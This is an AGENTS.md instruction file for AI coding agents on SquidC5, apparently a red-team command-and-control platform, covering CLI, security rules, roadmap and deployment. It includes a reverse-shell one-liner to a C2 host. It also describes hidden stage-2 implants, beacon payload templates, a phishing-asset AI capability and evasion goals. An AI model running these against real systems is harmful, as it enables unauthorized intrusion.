SquidSec-SquidC5/AGENTS.md

AGENTS.md - Instructions for AI Agents Working on SquidC5

Classification & Mission

SquidC5 is a military-grade, security-first, AI-native C5 platform - Command - Control - Cognitive - Collaborative - Coordination - under active development for authorized red team, penetration testing, and defensive security operations only.

Treat every change as if the system will be deployed in high-threat environments:

• Prefer secure defaults over convenience
• Minimize attack surface and fingerprinting
• Never weaken auth, AI sandboxing, audit, or allow-lists without explicit human design review
• Assume hostile network exposure (internet-facing listeners, scanners, credential stuffing)

Unauthorized access assistance is out of scope. Do not help with illegal use.

Project Stack

Primary language: Python 3.11+ - FastAPI - SQLite - Docker-first Operator CLI: sc5 (also squidc5-cli) Ops UI: /ops (admin UI loaded only after server-side admin token check)

Non-Negotiable Security Rules

1. Secure by default: New installs must ship hardened (no public docs/OpenAPI, no wildcard CORS, MCP off until enabled, exec probe on, false-shell filter on).
2. External AI restriction: MCP tools must remain allow-listed per token. No open-ended autonomous agent loops for external models.
3. Admin AI / INKO shielding: Never feed raw session output into LLM prompts without sanitize_untrusted(). Keep capabilities and chat tools allow-listed. Prefer offline/deterministic fallbacks when no LLM is configured. No open-ended autonomous agent loops.
4. Determinism preference: Templates, fixed prompts, single-step tools over free-form agentic planning.
5. Audit everything: Operator, MCP, Admin AI, feature toggles, and admin UI loads go through the policy engine / audit trail.
6. No secrets in git: Tokens, API keys, data/, admin_token.txt, ~/.config/squidc5/config.json stay out of the repository.
7. Port flexibility: Never hard-require ports 80 or 443 - operators may use them.
8. Admin UI isolation: Admin-only HTML/JS must be served only after server validates an admin token (/api/v1/ops/admin.js). Non-admin clients must never receive admin control code.
9. Public docs locked off: /docs, /redoc, /openapi.json stay disabled. Feature flag public_docs is hard-forced false.
10. Authorized use only.

Hardened Defaults (do not casually reverse)

Control	Default
Public Swagger / OpenAPI	OFF (hard-locked)
CORS	empty (no *)
MCP external tools	OFF until settings/feature enable
Shell exec probe	ON
False-shell filter	ON
Auto stage-2 stabilize	OFF (manual Stabilize or feature flag)
Health details	minimal ({"status":"ok"})
Security headers	ON (nosniff, DENY frame, CSP, no-store)
Admin ops UI	server-gated by admin scope

When adding features: deny by default, enable via admin feature flags or env after review.

Development pipeline (mandatory)

Source of truth also: Windows SquidSec workspace /mnt/c/Users/ynot_/OneDrive/Desktop/Company Data/SquidSec/AGENTS.md + knowledge-base/MEMORY.md -> Development cycles (git repos).

Git cycle (every change)

1. Update main/master - pull latest
2. Feature branch - name for the change
3. Unit tests first - describe expected behavior
4. Implement code
5. Red-green-refactor - all tests pass; clean up
6. Push branch (never direct to main)
7. Open PR
8. Wait for CI - do not merge red
9. Merge when green
10. Next change - back to step 1

Prod after merge

merge main -> CI builds Linux/Windows binaries -> GitHub Release published
 -> deploy Linux squidc5 binary ONLY (from Release assets or workflow Artifacts)

Releases: https://github.com/DotNetRussell/SquidC5/releases (created by CI job github-release on main/master only).

• Never commit/push straight to main/master
• Never rsync WIP source or docker compose up --build to prod
• Never deploy a feature-branch-only binary
• Docker is for local/lab only once binary prod path is active
• Full policy: see Production deploy policy under Deployment Knowledge

Roadmap 2026-2027 (next work - prioritized)

Full detail: docs/roadmap-2026-2027.md. Agents plan work against this list; stay OPSEC-first, agents-on-rails.

#	Focus	Notes
1	Malleable / adaptive C2 profiles	TOP PRIORITY - HTTP/S, DNS, WS; jitter; decoy; runtime switch
2	Advanced implant / beacon framework	Stagers, injection, memory-only, BOF-like; Win/Linux/macOS
3	Evasion & anti-analysis	Sandbox/VM/debugger resistance; fronting/CDN; QUIC/WebTransport candidates
4	Multi-operator collaboration	Teams, chat, handoff, spectator; per-operator audit
5	Deeper AI (railed)	Policy-limited chaining; local LLM; beacon anomaly suggestions
6	Plugin / extension system	Signed plugins; allow-list; ops discovery
7	Observability / forensics dashboard	Timeline, ATT&CK map, reports, heatmap
8	Deploy & OpSec hardening	Nix/microVM/K8s; redirectors; cert/domain rotation
9	Testing & validation suite	Lab victims; evasion benchmarks; playbook scenarios
10	Community & docs	Runbook, threat model, disclosure, OPSEC changelogs

When implementing any roadmap item: small PRs, tests required, secure defaults, no weakening of MCP/Admin AI/public_docs locks, prod only via main CI binary.

Architecture Map

src/squidc5/
 main.py # FastAPI app + lifespan + security headers (no public docs)
 config.py # Settings (SQUIDC5_* env) - secure defaults
 features.py # Runtime feature flags (admin-toggleable; public_docs locked)
 cli.py # Operator CLI (sc5)
 db/store.py # SQLite schema + access
 auth/tokens.py # Scoped tokens
 policy/engine.py # Allow/deny, risk, HITL
 sessions/ # Beacon & shell sessions (orphan reap + verified shells)
 listeners/ # http/tcp/reverse_shell + stage-2 + exec probe
 shells/ # classify (false shells) + stabilize (stage-2)
 tasking/ # Structured tasks
 payloads/ # Deterministic templates
 mcp/server.py # Restricted external AI tools
 ai/admin_ai.py # Sandboxed internal AI (BYO LLM, e.g. xAI Grok)
 api/routes.py # REST API + /ops/admin.js gate + /features
 metrics/ # Counters + SSE events
 audit/ # Audit facade
web/
 phone-dashboard.html # Public ops shell (no admin code)
 ops-admin.js # Admin-only module (served after admin auth)

Operator CLI (sc5) - Agent Knowledge

Entry points (after pip install -e .):

• sc5
• squidc5-cli

Config file (local only, never commit):

• Path: ~/.config/squidc5/config.json
• Keys: url, token
• Env overrides: SQUIDC5_URL / SC5_URL, SQUIDC5_TOKEN / SC5_TOKEN
• Global flags: --url, --token, --timeout

Full command surface

sc5 login --url <base> --token <sc5_...>
sc5 config [--show-token]
sc5 health | whoami | metrics | audit [--limit N] | events | repl

sc5 sessions list [--status active|closed] [--all] [--shells] [--include-dead] [--ids]
sc5 sessions get <id>
sc5 sessions close <id>
sc5 sessions reap [--no-probe]

sc5 tasks list [--session <id>]
sc5 tasks get <id>
sc5 tasks create <session_id> "<command>" [--args-json '{}'] [--hitl]

sc5 listeners list
sc5 listeners create <name> <port> [--kind http|tcp|reverse_shell|dns|smtp] [--host 0.0.0.0] [--zone ZONE]
sc5 listeners start|stop|delete <id>

sc5 --insecure ... # skip TLS verify (self-signed teamserver)
sc5 oast token create [--note "..."]
sc5 oast tokens list
sc5 oast hits --token T [--protocol dns|http|smtp]
# aliases: oast mint | oast poll

sc5 payloads templates
sc5 payloads generate <template> <host> <port> [--interval 5] [--raw]
# templates: http_beacon_python | http_beacon_bash | reverse_shell_bash | reverse_shell_python

sc5 shell <session_id> <command...> [--wait N] [--json]
sc5 shell all <command...> # broadcast to verified shells only
sc5 shell --all <command...>
sc5 output <session_id>

sc5 tokens list
sc5 tokens create <name> --scopes "a,b,c" [--mcp-tools "t1,t2"]
sc5 tokens update <id> [--name N] [--scopes "a,b"] [--mcp-tools "t1,t2"]
sc5 tokens roll <id>
sc5 tokens link <id> [--ttl 3600]   # one-time connection URL (redeem rolls secret)
sc5 tokens revoke <id>

sc5 ai <capability> [--data "..."] [--llm <id>]
# capabilities: payload_template | phishing_asset | doc_generate | shell_classify | recon_assist | ...
# Ops UI INKO chat uses POST /api/v1/ai/chat (multi-turn + railed tools); CLI remains capability-oriented

sc5 llm list
sc5 llm add <name> <model> [--provider openai|xai] [--base-url URL] [--api-key KEY]

sc5 mcp tools
sc5 mcp call <name> [--args-json '{}']

sc5 policy get
sc5 policy set --json '...' | --file rules.json
sc5 policy hitl list|approve|deny

sc5 backup [path] [--data-dir DIR]
sc5 restore <backup.db> [--data-dir DIR]

# File ops / SOCKS (API; CLI via tasks or REST)
# POST /api/v1/files/op {session_id, op:list|read|write|delete, path, ...}
# POST /api/v1/pivot/socks {session_id, listen_host, listen_port}

Sessions defaults

• sc5 sessions list -> active + live + verified reverse shells (and active beacons when not --shells)
• Dead / echo-only shells are reaped (TCP gone or fail exec probe)
• Prefer verified: true before operator shell interaction

Reverse-shell operator flow

1. sc5 listeners create rev <port> --kind reverse_shell
2. sc5 listeners start <id> - must show running
3. On authorized target: bash -i >& /dev/tcp/<C2_HOST>/<port> 0>&1
4. sc5 sessions list --shells -> find kind: reverse_shell with verified: true
5. sc5 shell <session_id> "whoami" - prints remote output
6. Optional: sc5 events for shell.connected / shell.output / shell.verified / session.rejected

Auto-stabilize + false-shell filter

On capture, the server:

1. Classifies inbound bytes (shells/classify.py) - drops TLS ClientHello, HTTP probes, binary noise (common on port 443). Rejected sessions are deleted (event: session.rejected / shell.false_positive).
2. Probes OS then injects stage-2:

• Linux -> background reconnecting Python line-executor (SC5_STABLE_LINUX, supports SC5_PING)
• Windows -> hidden PowerShell reconnect agent (SC5_STABLE_WIN)

3. Stage-2 agents reconnect to SQUIDC5_PUBLIC_HOST:<listener_port> and are not re-staged (banner skip).
4. Exec probe must pass or session is dropped (no more "live but mute" shells).
5. TCP keepalive enabled; idle read timeouts no longer fake liveness.

Config: SQUIDC5_SHELL_AUTO_STABILIZE, SQUIDC5_PUBLIC_HOST, SQUIDC5_SHELL_STABILIZE_DELAY_SEC, SQUIDC5_SHELL_PROBE_WAIT_SEC.

Beacon flow:

1. Generate HTTP beacon payload pointing at http://HOST:8443/api/v1/implant/beacon
2. Run payload on authorized target
3. sc5 sessions list -> kind: beacon
4. sc5 tasks create <session_id> "id" then re-check sc5 tasks get <task_id>

Dual AI Architecture

External AI (MCP)

• Scoped tokens + per-token tool allow-list
• Deterministic single-tool preference; chain length limited by policy
• Feature flag / settings: MCP off by default

Server-side Admin AI + INKO

INKO (Intelligent Neural Kinetic Operator) is the operator-facing neural chat surface on top of the sandboxed Admin AI stack.

• BYO LLM (OpenAI-compatible, including xAI Grok at https://api.x.ai/v1); configure in Ops Admin or sc5 llm add
• Capabilities allow-list only (POST /api/v1/ai/run); chat tools allow-list (POST /api/v1/ai/chat)
• sanitize_untrusted on untrusted input; tool results sanitized before model re-entry
• Offline fallbacks when no LLM configured (deterministic intents + capability offline JSON)
• Ops UI: top-bar INKO opens right flyout (full-screen mobile); nav INKO page for workspace chat
• Status: GET /api/v1/ai/status (+ ?debug=true) - never returns API keys
• Tool catalog: GET /api/v1/ai/tools (names/descriptions only)

Deployment Knowledge (Docker)

Critical: listener ports vs Docker networking

Current compose uses network_mode: host so reverse-shell/TCP listeners bind real host ports without republishing.

If someone switches back to bridge mode, every reverse-shell/TCP port must be published and opened in UFW.

Privileged ports (<1024)

Container runs as non-root. Binding 443 needs:

sysctl -w net.ipv4.ip_unprivileged_port_start=0
echo "net.ipv4.ip_unprivileged_port_start=0" > /etc/sysctl.d/99-squidc5.conf

Admin token bootstrap

On first start: written once to $SQUIDC5_DATA_DIR/admin_token.txt - never commit.

docker exec squidc5 cat /data/admin_token.txt

Production deploy policy (MANDATORY for agents)

Do not deploy source trees, Docker rebuilds-from-WIP, or local unmerged code to prod.

Prod is updated only with the standalone squidc5 executable produced by CI after a clean merge pipeline:

1. Feature work lands via PR
2. All tests pass on the PR (CI green)
3. PR is merged to main / master
4. CI builds Linux/Windows binaries (sc5, squidc5) on that merge
5. Agent downloads the Linux squidc5 artifact from that successful main-branch run
6. Agent deploys that binary only to the droplet (replace process; keep data/)

PR -> tests green -> merge main -> CI binaries -> deploy squidc5 binary to prod

Forbidden on prod:

• rsync of the working tree / unmerged branches
• docker compose up --build from local dirty checkout
• Deploying a binary built only on a feature branch (must be main CI artifact)
• Hot-patching prod with untested edits

Allowed on prod:

• Install/restart the main-built squidc5 binary under e.g. /opt/squidc5/bin/squidc5
• Preserve /opt/squidc5/data (DB, admin token, LLMs)
• Env: SQUIDC5_* (public host, ports, etc.)

Example (after downloading main CI artifact):

# from operator machine - ARTIFACT is linux squidc5 from main CI
scp -i <key> squidc5 root@<droplet>:/opt/squidc5/bin/squidc5.new
ssh -i <key> root@<droplet> '
 set -e
 systemctl stop squidc5 || pkill -x squidc5 || true
 mv /opt/squidc5/bin/squidc5.new /opt/squidc5/bin/squidc5
 chmod +x /opt/squidc5/bin/squidc5
 systemctl start squidc5 # or: SQUIDC5_DATA_DIR=/opt/squidc5/data /opt/squidc5/bin/squidc5
'

Docker remains valid for local/lab use only, not the default prod path once binary deploy is active.

Legacy source rsync + compose (lab only - not prod):

rsync -az -e "ssh -i <key>" \
 --exclude '.venv' --exclude 'data' --exclude '.git' \
 ./ root@<droplet>:/opt/squidc5/
ssh -i <key> root@<droplet> \
 'cd /opt/squidc5 && docker compose up -d --build --force-recreate'

Also: scripts/deploy_droplet.sh <ip> (lab/Docker; not the prod binary path)

Do not store live tokens, SSH private keys, or API keys in this file.

Auth Model (quick)

• Tokens: sc5_<urlsafe>
• Header: Authorization: Bearer <token> or X-API-Token: <token>
• Scopes: admin, sessions:read|write, tasks:read|write, listeners:read|write, payloads:generate, metrics:read, audit:read, shell:interact, ai:use, mcp:connect, tokens:manage, llm:manage, policy:manage, ...
• External AI: mcp:connect + per-token mcp_tools allow-list
• Feature toggles: GET/PUT /api/v1/features (admin)

Dev Commands

python -m venv .venv && source .venv/bin/activate
pip install -r requirements-dev.txt
pip install -e .
pytest -q
ruff check src tests
# Prefer the package entrypoint (enables unique instance TLS under data/tls/):
squidc5
# or: python -m squidc5
# Plain uvicorn factory has no TLS unless you pass --ssl-*:
# uvicorn squidc5.main:create_app --factory --host 0.0.0.0 --port 8443
sc5 login --url https://127.0.0.1:8443 --token "$(cat data/admin_token.txt)"

Docker:

docker compose up --build -d
docker exec squidc5 cat /data/admin_token.txt

Required Agent / Project Memory Files

File	Purpose
AGENTS.md	This file - primary agent operating memory + full CLI surface
CLAUDE.md	Pointer to AGENTS + docs
docs/README.md	Docs index (Diátaxis map + Ops nav -> guide links)
docs/user-guide.md	Feature reference (What/Why/How/Example/See also) - GitHub only
docs/operator-runbook.md	Day-2 procedures (Goal/Prereqs/Steps/Verify)
docs/deployment.md	Lab Docker + OAST + TLS + binary prod
docs/squidc5-vision.md	Product / security architecture
docs/threat-model.md	Assets, boundaries, STRIDE
docs/roadmap-2026-2027.md	Long-range priorities (10 focus areas)
docs/roadmap-five-star.md	Pack A-E / implant maturity status
docs/prod-readiness-plan.md	Phased engineering checklist
README.md	Public-facing quickstart
SECURITY.md	Disclosure policy
CONTRIBUTING.md	PR / git cycle
CHANGELOG.md	Releases + OPSEC notes
.gitignore	Blocks secrets, data, local config
.env.example	Env template without secrets

When changing product behavior: update docs/user-guide.md (feature chapter) and cross-links in docs/README.md / runbook as needed. Keep section templates consistent (see docs/README).

When Changing Code

• Keep changes small and auditable
• Preserve secure-by-default posture - new endpoints require auth/scopes; no public API maps
• Add/adjust pytest coverage for auth, policy, MCP allow-lists, AI sanitization, CLI, feature flags
• Update docs/squidc5-vision.md if behavior/spec changes
• Update this AGENTS.md when CLI surface, deploy model, security boundaries, or defaults change
• Do not weaken MCP tool restrictions, Admin AI sandbox, admin UI gate, or unlock public_docs
• Never commit tokens, keys, or data/ DB files
• Prod deploy: only the main-CI squidc5 binary after PR merge (see Production deploy policy above)

Testing Focus

• Token scope enforcement
• Admin UI 403 for non-admin tokens
• MCP tool allow-list denial paths
• Policy HITL / deny thresholds
• sanitize_untrusted injection filtering
• Feature flag denial paths
• Listener port bind (non-privileged ports; document privileged-port host sysctl)
• Implant beacon task poll/complete cycle
• Shell exec probe drops echo-only zombies
• CLI login + basic authenticated calls (no live secrets in tests)